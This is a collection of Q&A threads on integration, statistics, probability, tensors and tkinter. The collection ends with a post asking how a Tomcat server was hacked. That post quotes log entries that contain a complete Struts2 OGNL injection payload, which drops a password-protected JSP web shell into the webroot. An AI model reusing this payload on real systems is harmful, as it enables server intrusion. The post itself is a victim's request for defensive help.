A basic question about integration

Question: I have read that if $f$ is integrable, it is bounded. But consider $f=x^{-\frac 12}$, it is integrable in $[0,1]$, but it is not bounded. Can you explain?
Comment: @JavierBadia it doesn't matter whether it is continuous or not.
Comment: $x^{-\frac1{2}}$ is not integrable in $[0, 1]$, because it's not defined at $x = 0$.
Comment: @JavierBadia if I define f=0 when x=0,it doesn't matter
Comment: We have a positive function, and we look at "the area under the graph of $f$", the fact that $f$ is bounded or not doesn't matter if the area on $[a,1]$ doesn't "grow to fast" if $a$ goes to $0$.
Comment: @Gingerjin: the limit when $x$ goes to $0$ is $\infty$, not $0$, so it doesn't make sense to define it as such. It would not be continuous.
Answer: $\int_0^1 x^{-1/2}\,dx$ is called an improper integral.
$f(x)=x^{-1/2}$ is not (Riemann) integrable over $[0,1]$, as you said since this function is not bounded over $[0,1]$ (and not defined at $0$; but let's say $f(0)=0$ in the following). This follows from the definition of the Riemann integral in terms of Riemann sums:
$f$ is Riemann integrable (henceforth just "integrable") over $[a,b]$ and $\int_a^b f(x)\,dx=L$ if for any $\epsilon>0$ there is a $\delta>0$ so that for any Riemann  sum $R_f$ over $[a,b]$ corresponding to a partition with mesh size at most $\delta$,
$$
|L - R_f|<\epsilon
$$
For a non-bounded function over $[a,b]$, one can find a partition of $[a,b]$ of arbitrarily small mesh size and a corresponding Riemann sum which is as large as desired in absolute value (for $f(x)=x^{-1/2}$, take the first subinterval of the partition  to be $[0,\delta]$ for $\delta$ small, and choose a test point $x_1$ in this interval so that the height of the rectangle corresponding to this subinterval is large). This implies that the function is not integrable over $[a,b]$.
So unbounded functions are not integrable, a fact that crops out from the very definition of integrability.
But, sometimes, an unbounded function can be thought of as being "integrable".  For example, the area under the graph of $f(x)=x^{-1/2}$ over $[0,1]$ can be seen to be finite:
The function $f(x)=x^{-1/2}$ is integrable over $[\delta,1]$ for any $1\ge \delta>0$.
Moreover, $\lim_{\delta\rightarrow 0^+}\int_\delta^1 x^{-1/2}\, dx$ exists.
It seems plausible to define the area under the graph of $f(x)=x^{-1/2}$ over $[0,1]$ as the value of this limit.
For this reason, we say (or should say) $f(x)=x^{-1/2}$ is improperly integrable over $[0,1]$.
Answer: For a function $f$ to be Riemann integrable on a given interval, indeed $f$ must be bounded. Otherwise, no upper Darboux sum is finite.
Lebesgue integrability is different and does not require the function to be bounded, for example $f:x\mapsto x^{-1/4}$ is Lebesgue integrable on $(0,1)$ (and its integral is $4/3$). A simple way to see that this function is Lebesgue integrable is to consider $g:x\mapsto 1+\sum\limits_{n\geqslant1}[0\lt x\leqslant 1/n^4]$. Then, the function $f$ is continuous, $0\leqslant f\leqslant g$ on $(0,1)$, and the Lebesgue integral of $g$ is $1+\sum\limits_{n\geqslant1}1/n^4$, which is finite, hence $f$ is Lebesgue integrable.
Comment: Absolutely: the function $x\mapsto x^{-1/2}$ is not Riemann integrable on $[0,1]$ because it is not bounded on this interval.
Comment: Are you sure $g$ is a simple function? It doesn't look like a finite sum of characteristic functions to me.
Comment: @Rob: You are right, I was too hasty. Thanks.
Answer: As has already been said the property that only bounded functions are integrable depends on which theory of integration you are using. In the Riemann theory, unbounded functions have to be treated specially as "improper integrals", i.e., limits of integrals of bounded functions.
The gauge integral of Henstock and Kurzweil is a generalisation of the Riemann integral that avoids the need for the notion of improper integral. The gauge integral is to the Riemann integral as uniform continuity is to continuity: in the Riemann integral the strips in a partition all have the same width, while in the gauge integral the widths of the strips can vary, so that you can control the impact of local bad behaviour. This means that integrals like $\int_0^1 x^{-\frac{1}{2}}dx$ don't need any special treatment - the additional limiting process needed to give the improper integral in the Riemann theory is superfluous.
The gauge integral has other advantages too. E.g., unlike both the Riemann and the Lebesgue theory, the fundamental theorem of the calculus for the gauge integral does not need to assume that the integrand is integrable. It is a great shame that the gauge integral is not more widely taught.
Answer: Everything depends on what integral we are talking about. Is it Riemann integral, Lebesgue integral? For Riemann integral we have a definition with Riemann sums. If the function isn't bounded, then the value of any Riemann sum can be arbitrarily big, so they don't converge to a finite value and the function isn't integrable. However people noticed the problem and if there is a singularity at a certain point (like $0$ here) we can compute the limit of integrals $\int_\varepsilon^1 f$  and call it the integral over $[0,1]$. It's called a "principal value".
For Lebesgue integral there are no such limitations (but it doesn't mean that it is always better than Riemann integral).

A basic question about integration


How to choose between ANOVA and ANCOVA in a designed experiment?

Question: I am conducting an experiment which has the following:

DV: Slice consumption (continuous or could be categorical)
IV: Healthy message, unhealthy message, no message (control) (3 groups in which people are randomly assigned - categorical)  This is a manipulated message about the healthiness of the slice.

The following IV's could be considered as individual difference variables:

Impulsivity (this could be categorical ie. high versus low or continuous and is measured by a scale)
Sweet taste preference (this is also measured by a questionnaire which is 3 options to choose for each question)
BMI - participants will be weighed measured accordingly (this could also be considered either categorical or continuous).

As the groups will be randomly assigned to one of 3 groups I assume I am doing an ANOVA of some sort and would possibly use Factorial ANOVA as I am interested in which IV effects the DV the most but also the interactions between the IV's as research indicates that there are relationships between some combinations.
But I am not completely sure of this due to needing to know whether it's best to have the IV's all categorical or continous or mixed.
Or is ANCOVA a possibility or even regression but I am not sure about that given they are assigned to groups then categorised based on their answers to surveys.
I hope this makes sense and look forward to hearing from someone about my query.
Comment: Hi Melory, that sounds like an interesting experiment. For your `IV`s, are you interested in knowing how each is related to the `DV` on a continuous scale, or are you more interested in the effects of `IV` groups, e.g. that overweight people eat more slice than normal weight people (for your `BMI` measure)?
Comment: Hi Michelle, thanks for your comments.  To be honest I am still at the development stage and am going all over the place!  But I have a tentative aims which is: The main aim of the current study is to investigate the effects of food-related beliefs about the healthiness of foods on actual food intake.  Additionally, a secondary aim is to discover the extent to which sensation seeking, sweet taste preference and BMI may moderate the effects of food-related beliefs on food intake.'
Comment: Hi again Michelle - just adding to prior comment.  However having said that I am also interested in the interactions between some IV's as research indicates relationships i.e people who are overweight are correlated with sensation seeking.  Does that help aid where I am at?  I'd be interested to hear your thoughts.  Thanks.
Comment: Hi Melory, I wouldn't add in `BMI` as a continuous measure, and would use the underweight/normal/overweight/obese categories as that is your research question, not whether slice amount increases with increasing `BMI` score. I would try the other `IV`s as continuous. Are you going to publish as I would be professionally interested in your write-up?
Comment: Hi Michelle, thanks for this.  I would be looking to publish.  Is this an area of interest for you?  So are you saying it would be appropriate to do a factorial ANOVA, I think I may have too many variables possibly to be trying to work with.
Comment: Hi Melory, I agree with the answer by @gung although I disagree with analysing `BMI` as continuous. There is possibly a step function with `BMI` and the publication standard is to use `BMI` categories.
Comment: Hi Michelle, thanks so much for this - sounds like regression is agreed upon and thanks for your input regarding the BMI - appreciate your comments.   Thanks. :)
Answer: As a fact of history, regression and ANOVA developed separately, and, due in part to tradition, are still often taught separately.  In addition, people often think of ANOVA as appropriate for designed experiments (i.e., the manipulation of a variable / random assignment) and regression as appropriate for observational research (e.g., downloading data from a government website and looking for relationships).  However, all of this is a little misleading.  An ANOVA is a regression, just one where all of the covariates are categorical.  An ANCOVA is a regression with qualitative and continuous covariates, but without interaction terms between the factors and the continuous explanatory variables (i.e., the so called 'parallel slopes assumption').  As for whether a study is experimental or observational, this is unrelated to the analysis itself.
Your experiment sounds good.  I would analyze this as a regression (in my mind, I tend to call everything regression).  I would include all the covariates if you are interested in them, and/or if the theories you are working with suggest they may be important.  If you think the effect of some of the variables may depend on other variables, be sure to add in all of the requisite interaction terms.  One thing to bear in mind is that each explanatory variable (including interaction terms!) will consume a degree of freedom, so make sure your sample size is adequate.  I would not dichotomize, or otherwise make categorical, any of your continuous variables (it is unfortunate that this practice is widespread, it's really a bad thing to do).  Otherwise, it sounds like you're on your way.
Update:  There seems to be some concern here about whether or not to convert continuous variables into variables with just two (or more) categories.  Let me address that here, rather than in a comment.  I would keep all of your variables as continuous. There are several reasons to avoid categorizing continuous variables:

By categorizing you would be throwing information away--some observations are further from the dividing line & others are closer to it, but they're treated as though they were the same.  In science, our goal is to gather more and better information and to better organize and integrate that information.  Throwing information away is simply antithetical to good science in my oppinion;
You tend to lose statistical power as @Florian points out (thanks for the link!);
You lose the ability to detect non-linear relationships as @rolando2 points out;
What if someone reads your work & wonders what would happen if we
drew the line b/t categories in a different place?  (For example, consider your BMI example, what if someone else 10 years from now, based on what's happening in the literature at that time, wants to also know about people who are underweight and those who are morbidly obese?)  They would simply be out of luck, but if you keep everything in its original form, each reader can assess their own preferred categorization scheme;
There are rarely 'bright lines' in nature, and so by categorizing you fail to reflect the situation under study as it really is.  If you are concerned that there may be an actual bright line at some point for a-priori theoretical reasons, you could fit a spline to assess this.  Imagine a variable, $X$, that runs from 0 to 1, and you think the relationship between this variable and a response variable suddenly and fundamentally changes at .7, then you create a new variable (called a spline) like this:
$$
\begin{aligned}
X_{spline} &= 0 &\text{if } X\le{.7}  \\
X_{spline} &= X-.7 &\text{if } X>.7
\end{aligned}
$$
then add this new $X_{spline}$ variable to your model in addition to your original $X$ variable.  The model output will show a sharp break at .7, and you can assess whether this enhances our understanding of the data.

1 & 5 being the most important, in my opinion.
Comment: Hi gung.  Thanks so much for your comments. So you would use regression and not have any of the IV's as categorical then? I was thinking that BMI could be either overweight/obese or normal; the taste preference has categories and also for sensation seeking can be categorical as it is true/false statements which will then provide a score which could be then categorised. But do you see them as truly continuous?
Comment: Hi again gung, this is my tentative aim which also may provide some clarity: The main aim of the current study is to investigate the effects of food-related beliefs about the healthiness of foods on actual food intake.  Additionally, a secondary aim is to discover the extent to which sensation seeking, sweet taste preference and BMI may moderate the effects of food-related beliefs on food intake.  I'd be interested to hear your thoughts.
Comment: Nice answer by @gung.  I'll second the idea that ideally you'd maintain your continuous variables as they are, since that'd give you the most information.  Plenty of people find it daunting to learn how to incorporate both continuous and categorical predictors, but it may well turn out worthwhile, either for this study or for a future one.  And whether or not you categorize them, try to look for ways to uncover any nonlinear relationships that might exist--perhaps U-shaped, or upside-down-U-shaped, or J-, or reverse-J.  This could enrich your study substantially.
Comment: Yes +1 for gung's answer! Dichotomizing continuous variables is never a good idea because of, for example, a lost of power (e.g. the famous Jacob Cohen's article http://www.unc.edu/~rcm/psy282/cohen.1983.pdf). To treat your "message" IV in a regression analysis, i'll recommend to use contrast codes to test its effect (and interactions involving this IV), see  for example Judd, C. M., & McClelland, G. H., Ryan, C. (2008). Data analysis: A model comparison approach (2nd ed.). New York: Routledge Press.
Comment: Hi rolando2, thanks so much for your feedback.  You are right in that I am finding it hard to possibly combine both categorical and continous variables which is making it hard for me to determine what analysis to use.  My tentative aim is : The main aim of the current study is to investigate the effects of food-related beliefs about the healthiness of foods on actual food intake.  Additionally, a secondary aim is to discover the extent to which sensation seeking, sweet taste preference and BMI may moderate the effects of food-related beliefs on food intake.' Thoughts on this?
Comment: Hi @Florian.  Thanks for that - and the links as well - much appreciated.
Comment: Hi @gung.  Thanks for the update - really appreciate your efforts.
Comment: Hi @gung - sorry I am new to this so have checked your answer and clicked on the tick - I hope that is what I needed to do.
Comment: Your thoughts on dichotomy are interesting - I would add a small argument in favour of its use as demonstrated by the success and popularity of regression trees.  These use nothing but dichotomised variables.  I think they address the uncertainty around cut-points though rather than making an more arbitrary choice.  From what i can see, Trees provides remedies to all concerns except for point 2 (which I'm not sure of).


What is the expected number of peaks in an array of length $n$ with each number randomly drawed from $[0, 1]$?

Question: Suppose we randomly draw a real number from $[0, 1]$ for $n$ times, and get an array: $a_1, a_2, ..., a_n$. If for some integer $i$ such that $2<=i<=n-1$ and $a_{i-1}<a_i$ and $a_i>a_{i+1}$, we call $a_i$ a peak in the array.
The question is: what is the expected number of peaks in the array $a_1, a_2, ..., a_n$?
For example, in array $[0.6,0.3,0.7,0.4,0.9,0.8]$, there are $2$ peaks: $0.7$ and $0.9$.
Comment: Have you considered using linearity of expectation?
Comment: I presume by "radomly" you mean that $A_1,\cdots, A_n$ are independent random variables with uniform distribution on $[0,1]$. Are they not?
Comment: @Gae.S. Yes, you are right.
Comment: @JeanMarie Not exactly, that's for a discrete distribution, this one is continuous.
Comment: (I refer of course to the solution given by André Nicolas : $(n+1)/3$). Yes, it is the same : any "event" of your "continuous" sampling space can be placed in a bijective way in correspondence with a permutation of $(1,2, \cdots n)$  plainly by attributing an "appearance rank" to your numbers.
Answer: Let $A_i =\{\text {Peak at}\ i\}$, and let $Y_i=I_{A_i}$ be the indicator function, where $2\le i\le n-1$. Since the $X_i$ are i.i.d., $P(A_i)=P(\{X_{i-1}\lt X_i\}\cap\{X_i\gt X_{i+1}\})$ is independent of $i$, and an easy calculation or an argument by symmetry shows this probability is $1/3$. The number of peaks is $W =\sum Y_i$ and
$$E(W) = \sum E(Y_i) = \sum P(A_i) =\frac{n-2}{3}$$


Probability Proof.

Question: Write a proof to show that $\mathbb{P}(X_1 \mid X_3) + \mathbb{P}(X_2 \mid X_3) -  \mathbb{P}(C_1 \cap X_2 \mid X_3) = \mathbb{P}(X_1 \cup X_2\mid X_3)$ labeling theorems used for each step.
My attempt:
$$\begin{array}{rcll}
\mathbb{P}(X_1 \cup X_2\mid X_3)&=& \frac{\mathbb{P}((X_1 \cup X_2)\cap X_3)}{\mathbb{P}(X_3)} \\
&=&\mathbb{P}((X_1 \mid X_3) \cap (X_2 \mid X_3))\\
&=& \mathbb{P}(X_1 \mid X_3)+\mathbb{P}(X_2 \mid X_3)-\mathbb{P}(X_1 \cap X_2 \mid X_3)
\end{array}$$
Comment: Omitting parentheses is dangerous here... To fill the ????, write down $(X_1\cup X_2)\cap X_3$ as the union of two well chosen sets.
Comment: You may want to look at some of the laws for manipulating expressions involving sets:  http://en.wikipedia.org/wiki/Algebra_of_sets#The_fundamental_laws_of_set_algebra
Answer: Hint: Recall that $\Pr(W|X_3)=\dfrac{\Pr(W\cap X_3)}{\Pr(X_3)}$.
Then let $Y_1=X_1\cap X_3$, and $Y_2=X_2\cap X_3$.
Note that $(X_1\cap X_2)\cap X_3=Y_1\cap Y_2$ and $(X_1\cup X_2)\cap X_3=Y_1\cup Y_2$.
Then the thing you are wanting to prove basically comes down to
$$\Pr(Y_1)+\Pr(Y_2)-\Pr(Y_1\cap Y_2)=\Pr(Y_1\cup Y_2),$$
which is a familiar fact. Just divide by $\Pr(X_3)$, and use the facts about $Y_1$ and $Y_2$ listed above.
Comment: Am I missing any details on my new attempt?
Comment: Looks fine. Please put proper parentheses in the first line!
Comment: I removed the answer from the question so people can think about it without the answer already there.
Answer: I would use Bayes' rule everywhere on the left-hand side:
\begin{align}
\mathbb{P}(X_1 \mid X_3) + \mathbb{P}(X_2 \mid X_3) -  \mathbb{P}(X_1 \cap X_2 \mid X_3)&= \frac{\mathbb{P}(X_1 \cap X_3)+\mathbb{P}(X_2 \cap X_3)-  \mathbb{P}(X_1 \cap X_2 \cap X_3)}{\mathbb{P}(X_3)}\\
&=\frac{\mathbb{P}(X_1\cup X_2\cap X_3)}{\mathbb{P}(X_3)}\\
&=\mathbb{P}(X_1\cup X_2\mid X_3)
\end{align}

Probability Proof.


Traceless tensor product: unclear definition

Question: I do not understand here on the page $8$
that in the definition of traceless tensor product there are 3 indices $i,j,k$
in the rightmost term but in the preceding term and in front of the equality sign $=$
both have just two indices $i,j$.
Also, is there used the Einstein summation convention in this formula ?
Lastly, what is the fraction in front of the rightmost term intended to mean $-\frac{1}{2}\delta_{ij}\cdot$
Comment: https://math.stackexchange.com/questions/2910198/construct-traceless-symmetric-tensors
Comment: @bangs Your link seems to solve something more general. I'm not an expert on tensors and the traceless version of the tensor is still unclear to me. The only thing I've understood is that $k$ is being to sum over so one loses the extra index, am I correct ?
Answer: Suppose the dimension is $N$ (in the paper, $N=2$, but we work more generally).
$\delta_{ij}$ is the Kronecker delta. Its components are given by $\delta_{ij}=1$ if $i=j$ and $0$ if $i\neq j$.  So according to page $8$ of the linked paper, $f\hat{\otimes}g$ has $i,j$ component $ f_ig_j-\frac{1}{N}\delta_{ij}f_kg_k$, using the summation convention.  This is equal to $$(f\hat{\otimes}g)_{ij} = \left\{\begin{array}{cc} f_ig_i - \frac{1}{N}\sum_{k=1}^N f_kg_k & : i = j \\ f_ig_j & : i \neq j. \end{array}\right.$$ That's because the Kronecker delta is only non-zero when $i=j$.
To get the trace, we sum \begin{align*} \sum_{i=1}^N (f\hat{\otimes} g)_{ii} & = \sum_{i=1}^N\Bigl[f_ig_i - \frac{1}{N}\sum_{k=1}^N f_kg_k\Bigr] \\ & = \sum_{i=1}^N f_ig_i - \sum_{k=1}^N \frac{1}{N}\sum_{i=1}^N f_kg_k \\ & = \sum_{i=1}^N f_ig_i - \sum_{i=1}^N f_ig_i=0.\end{align*}
Imagine subtracting $1/N$ of the trace down the diagonal, so that when you sum down the diagonal, each of the $\text{trace}/N$ pieces sums up to subtracting the trace once.
Comment: Great. What is your collocation `trace / N pieces`. Is `/` a division sign here ?
Comment: Yes. I've edited my answer to try to make it clearer.


How to swap two widgets' x position in tkinter?

Question: I need to create a function that takes as a parameter two widgets and the frame they are placed.
I want to swap their X position, but I can't figure out the correct way of doing it. This is what I tried:
def swap(w1, w2, frame):
    x1 = w1.winfo_x()
    x2 = w2.winfo_x()
    w1.place(x=x2)
    w2.place(x=x1)
    frame.update()

What's the right way of doing this? Is this the right approach?
Comment: You code works fine if the two widgets are using `place()` in the first place.
Comment: I use place() in the first place, but with this code the elements both disappear from the window
Comment: Try to print out `x1` and `x2` to see whether they are what you want.
Comment: Please create a [mcve].  The code you posted works fine when we make reasonable guesses about the missing code. It would help greatly if you could provide a complete [mcve].
Comment: What have you done to debug this? Have you verified that the computed `x1` and `x2` are what you expect they are?
Answer: You can change the position using place_configure.
Here is an example to swap two labels:
from tkinter import *

def swap():
    root.update()
    x1 = label.winfo_x()
    x2 = label2.winfo_x()

    label.place_configure(x=x2)
    label2.place_configure(x=x1)

root = Tk()

label = Label(root, text='Hello')
label.place(x=100, y=100)

label2 = Label(root, text='Hello2')
label2.place(x=150, y=100)

btn = Button(root, text='Swap', command=swap)
btn.place(x=125, y=150)

root.mainloop()

Comment: I tried this out, but unfortunately this still gives me issues: the first element gets correctly placed in the place of the second one, but the second element just disappear for some reason. Is this because I am passing those values as a parameter instead of using global variables?
Comment: @Daniel Can you show your code for me to check? It might be also due to the fact that the second element's width might be too large that the first element gets covered by the second element on swapping.
Comment: The width of the elements are all the same. Here's the code:
```def swap(w1, w2, frame):
    frame.update()
    x1 = w1.winfo_x()
    x2 = w2.winfo_x()

    w1.place_configure(x=x2)
    w2.place_configure(x=x1)```
Comment: This swap function gets called by another function:
```def quick_sort_algorithm(frame):

    widgets = frame.winfo_children()

    swap(widgets[0], widgets[-1], frame)
```
Comment: @Daniel I need to know what is w1 and w2, also why are you passing them as parameters?
Comment: @Daniel can I know where w1 and w2 are placed initially? It's most likely that your second widget is covering the first when you swap.
Comment: The positions initially are 0 and 882.
w1 and w2 are the parameters of this function, I need them as parameters because I have about 50 widgets in the frame, each representing a number. I want to implement a visualization of the quick sort algorithm
Comment: Note that `place_configure()` is just an alias of `place()`.  So your solution is more or less the same as OP code with the only difference is that your code calls `root.update()` before swapping, whereas OP calls `frame.update()` after swapping.


Are sampling distributions of any statistic used in real life statistical analyses?

Question: I feel I am pretty good on the mathematical basis of CLT and sampling distributions.
HOWEVER:
While sources like OpenIntro Statistics (Diez et al, 2019) are fairly straighforward with their actual use of sampling distributions, I am unable to find a single instance of a statistical analysis where a sampling distribution would be built and used as the underlying data. There are plenty of computational proofs that CLT and/or the sampling distributions do what they are supposed to be doing, but nothing to extent of "We have this data, we build a sampling distribution, we do these tests on it".
The questions are as follows:

Are sampling distributions of the mean/proportion/etc used in real life or are they just a basis for the assumption of normality.
       -  For example, if you have data of the entire population and it is not
normaly distributed          (say, very bimodal), do you build a sampling
distribution for the statistic of interest and           work with it, or are
non-parametric statistics become the only choice?
If sampling distributions ARE used in real life analyses, how are the sample sizes and the number of iterations selected. What stops me from taking a million large samples and reducing variance to the point where p-values become miniscule?
Comment: When you say sampling distribution, this normally refers to the distribution of some statistic under sampling. Do you instead mean some assumed distribution for a sample?
Comment: @Glen_b, thank you for pointing this out. My inquiry is about the the sampling distributions of some statistic (mean, proportion etc.)
Comment: You don't normally use sampling distributions "as underlying data" (that's what caused my previous question). You generally have one sample, and so one observation of a statistic like a mean or a correlation. There are some exceptions - e.g. you'll sometimes see biologists collect several observations and then average them and then analyze those averages. I try to dissuade them, but to little avail. Instead you more typically use a model for the population distribution from which the sample was drawn to identify a sampling distribution.  ...ctd
Comment: ctd ... E.g. a psychologist might use an ExGaussian(/ExpGaussian) [model for reaction times](https://en.wikipedia.org/wiki/Exponentially_modified_Gaussian_distribution). Or we might use a lognormal distribution for household incomes or a Pareto distribution of firm sizes or an exponential distribution for interevent times or a Poisson distribution for some kinds of counts. Then the distribution of some sampling statistic becomes relevant (e.g. with exponential waiting times, the mean of an i.i.d sample of waiting times will have a gamma distribution.)
Comment: @Glen_b. Regarding the model of the population distribution, what happens when I have the data for the entire population (in my case, data of every single employee in a particular company) and the population is not normally distributed. Do I assume the existance of some normaly distributed super-population and run parametric tests on the bimodal blob of a data, or am I left with non-parametric statistics?
Comment: Inference is for figuring out things about a population when you have a random sample from it. If you have the population *about which you want to find things out*, you have no need for inference, you already have all the population information. [Beware, however - often when people have *a* census of some population, it's not exactly the one they're trying to say something about. Very frequently people stop thinking about what they wanted to be able to say something about the moment they have nothing more they can sample.]
Comment: @Glen_b, you have inferred the essence of my question better that I was able to express it. Your comment puts an end to a week of headaches. Thank you.

Setting to Answered as BurceET did technically answer my question.
Answer: Here are a couple of frequent uses of sampling distributions
in applied statistics. My guess is that you may have seen
one or both of them, possibly without realizing that sampling
distributions are involved.
Suppose you have $n$ observations $X_1,X_2,\dots,X_n$ from a normal population $\mathsf{Norm}(\mu, \sigma),$ with $\mu$ and $\sigma$ unknown, and compute the sample mean $\bar X$ and the
sample variance $S^2.$ Then $\bar X$ estimates the population mean $\mu$
and $S^2$ estimates the population variance $\sigma^2.$
One useful sampling distribution for confidence intervals and tests of hypothesis about $\mu$ is that $\frac{\bar X - \mu}{S/\sqrt{n}} \sim \mathsf{T}(n-1),$ Student's t distribution with $n-1$ degrees of freedom.
Another useful sampling distribution for confidence intervals and tests of hypothesis about $\sigma$ and $\sigma^2$ is that
$\frac{(n-1)S^2}{\sigma^2} \sim \mathsf{Chisq}(n-1),$ the
chi-squared distribution with $n-1$ degrees of freedom.
For example, if a sample of size $n = 15$ from a normal population has $\bar X = 53.2$ and $S^2 = 17.3,$ then
one can use the first of these sampling distributions to find the
 95% confidence interval $(50.9,\,55.5)$ for $\mu.$ [Computation using Minitab statistical software.]
One-Sample T

 N   Mean  StDev  SE Mean      95% CI
15  53.20   4.16     1.07  (50.90, 55.50)

Also, one can use the second of these sampling distributions to find the 95% confidence intervals $(3.05, 6.56)$ for $\sigma$ and $(9.3, 43.0)$ for $\sigma^2.$
CI for One Variance

Method

The chi-square method is only for the normal distribution.

Statistics

 N  StDev  Variance
15   4.16      17.3

95% Confidence Intervals

               CI for        CI for
Method          StDev       Variance
Chi-Square  (3.05, 6.56)  (9.3, 43.0)

Comment: @random_guy if your data is population, you don't need things like confidence intervals, hypothesis tests, etc. You know the estated results for certain, there's no uncertainty. See https://stats.stackexchange.com/q/2628/35989
Comment: What Time wrote is correct, though I do tend to be skeptical about claims of having the entire population.
Comment: Thank you. With regards to your second paragraph. What if I have the data for the entire population (e.g. all employees in a company) and I know for sure that the distirbution is not normal, do I treat treat my data as a part of an assumed super-population and continue with parametric methods, or should I start looking for non-parametric alternatives?


Java/Tomcat hacked

Question: I have had a few files show up on my tomcat server lately that are obviously hacker attempts. I support an older application that uses struts and ibatis along with various other frameworks. Three files were created, a system1.jsp under the actual webapp directory, so like tomcat/webapps/ROOT/system1.jsp, and then two other files that were created under tomcat/webapps/system2.jsp and tomcat/webapps/system3.jsp.
The content of these files strange, it looks like its trying to create a user account, which would seem like a long shot. The way struts was set up there is no way they would actually reach those jsp files anyways, what makes me worry is the fact that they were able to create these files at all. How can I prevent this from happening?
Here is the apache log from the hack, as well as the rest of the code,
220.127.116.11 - - [28/Apr/2013:02:05:34 -0500] "GET request!start.do?
('\\u0023_memberAccess[\\'allowStaticMethodAccess\\']')(meh)=true&(aaa)
(('\\u0023context[\\'xwork.MethodAccessor.denyMethodExecution\\']\\u003d\\u0023foo')(\\u0023foo\\u003dnew%20java.lang.Boolean(%22false%22)))&(i1)(('\\43req\\email@example.com@getRequest()')(d))&(i12)(('\\43xman\\email@example.com@getResponse()')(d))&(i13)(('\\43xman.getWriter().println(\\43req.getServletContext().getRealPath(%22\\u005c%22))')(d))&(i2)(('\\43fos\\75new\\40java.io.FileOutputStream(new\\40java.lang.StringBuilder(\\43req.getRealPath(%22\\u005c%22)).append(@java.io.File@separator).append(%22system1.jsp%22).toString())')(d))&(i3)(('\\43fos.write(\\43req.getParameter(%22t%22).getBytes())')(d))&(i4)(('\\43fos.close()')(d))&t=%3C%25%40page+contentType%3D%22text%2Fhtml%3B+charset%3DGBK%22+import%3D%22java.io.*%3B%22%25%3E%0A%3C%25%21private+String+password%3D%22hehe%22%3B%2F%2F%E6%B7%87%EE%86%BD%E6%95%BC%E7%80%B5%E5%97%99%E7%88%9C%25%3E%0A%3Chtml%3E%0A%3Chead%3E%0A%3Ctitle%3Ehahahaha%3C%2Ftitle%3E%0A%3C%2Fhead%3E%0A%3Cbody+bgcolor%3D%22%23ffffff%22%3E%0A%3C%25%0AString+act%3D%22%22%3B%0AString+path%3Drequest.getParameter%28%22path%22%29%3B%0AString+content%3Drequest.getParameter%28%22content%22%29%3B%0AString+url%3Drequest.getRequestURI%28%29%3B%0AString+url2%3Drequest.getRealPath%28request.getServletPath%28%29%29%3B%0Atry%0A%7Bact%3Drequest.getParameter%28%22act%22%29.toString%28%29%3B%7D%0Acatch%28Exception+e%29%7B%7D%0Aif%28request.getSession%28%29.getAttribute%28%22hehe%22%29%21%3Dnull%29%0A%7B%0Aif%28request.getSession%28%29.getAttribute%28%22hehe%22%29.toString%28%29.equals%28%22hehe%22%29%29%0A%7B%0Aif+%28path%21%3Dnull+%26%26+%21path.equals%28%22%22%29+%26%26+content%21%3Dnull+%26%26+%21content.equals%28%22%22%29%29%0A%7B%0A+++try%7B%0A+++++File+newfile%3Dnew+File%28path%29%3B%0A+++++PrintWriter+writer%3Dnew+PrintWriter%28newfile%29%3B%0A+++++writer.println%28content%29%3B%0A+++++writer.close%28%29%3B%0A+++++if+%28newfile.exists%28%29+%26%26+newfile.length%28%29%3E0%29%0A+++++%7B%0A+++++++out.println%28%22%3Cfont+size%3D3+color%3Dred%3Esave+ok%21%3C%2Ffont%3E%22%29%3B%0A+++++%7Delse%7B%0A+++++++out.println%28%22%3Cfont+size%3D3+color%3Dred%3Esave+erry%21%3C%2Ffont%3E%22%29%3B%0A+++++%7D%0A+++%7Dcatch%28Exception+e%29%0A+++%7B%0A+++++e.printStackTrace%28%29%3B%0A+++%7D%0A%7D%0Aout.println%28%22%3Cform+action%3D%22%2Burl%2B%22+method%3Dpost%3E%22%29%3B%0Aout.println%28%22%3Cfont+size%3D3%3E%3Cbr%3E%3C%2Ffont%3E%3Cinput+type%3Dtext+size%3D54+name%3D%27path%27%3E%3Cbr%3E%22%29%3B%0Aout.println%28%22%3Cfont+size%3D3+color%3Dred%3E%22%2Burl2%2B%22%3C%2Ffont%3E%3Cbr%3E%22%29%3B%0Aout.println%28%22%3Ctextarea+name%3D%27content%27+rows%3D15+cols%3D50%3E%3C%2Ftextarea%3E%3Cbr%3E%22%29%3B%0Aout.println%28%22%3Cinput+type%3D%27submit%27+value%3D%27save%21%27%3E%22%29%3B%0Aout.println%28%22%3C%2Fform%3E%22%29%3B%0A%7D%0A%7Delse%7B%0Aout.println%28%22%3Cdiv+align%3D%27center%27%3E%3Cform+action%3D%27%3Fact%3Dlogin%27+method%3D%27post%27%3E%22%29%3B%0Aout.println%28%22%3Cinput+type%3D%27password%27+name%3D%27pass%27%2F%3E%22%29%3B%0Aout.println%28%22%3Cinput+type%3D%27submit%27+name%3D%27update%27+class%3D%27unnamed1%27+value%3D%27Login%27+%2F%3E%22%29%3B%0Aout.println%28%22%3C%2Fform%3E%3C%2Fdiv%3E%22%29%3B%0A%7Dif%28act.equals%28%22login%22%29%29%0A%7B%0A++++String+pass%3Drequest.getParameter%28%22pass%22%29%3B%0A++++if%28pass.equals%28password%29%29%0A++++%7B%0A+++++session.setAttribute%28%22hehe%22%2C%22hehe%22%29%3B%0A+++++String+uri%3Drequest.getRequestURI%28%29%3B+++%0A+++++uri%3Duri.substring%28uri.lastIndexOf%28%22%2F%22%29%2B1%29%3B+%0A++++response.sendRedirect%28uri%29%3B%0A++++%7Delse%0A++++%7B%0Aout.println%28%22Error%22%29%3B%0Aout.println%28%22%3Ca+href%3D%27javascript%3Ahistory.go%28-1%29%27%3E%3Cfont+color%3D%27red%27%3Ego+back%3C%2Ffont%3E%3C%2Fa%3E%3C%2Fdiv%3E%3Cbr%3E%22%29%3B%0A++++%7D%0A++++%7D%0A%25%3E%0A%3C%2Fbody%3E%0A%3C%2Fhtml%3E HTTP/1.1" 200 12387
184.108.40.206 - - [28/Apr/2013:02:05:35 -0500] "GET /request!start.do?('\\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\\43context[\\'xwork.MethodAccessor.denyMethodExecution\\']\\75false')(b))&('\\43c')(('\\43_memberAccess.excludeProperties\\firstname.lastname@example.com@EMPTY_SET')(c))&(g)(('\\43req\\firstname.lastname@example.com@getRequest()')(d))&(i2)(('\\43xman\\firstname.lastname@example.com@getResponse()')(d))&(i2)(('\\43xman\\firstname.lastname@example.com@getResponse()')(d))&(i95)(('\\43xman.getWriter().println(\\43req.getRealPath(%22\\u005c%22))')(d))&(i99)(('\\43xman.getWriter().close()')(d)) HTTP/1.1" 200 29
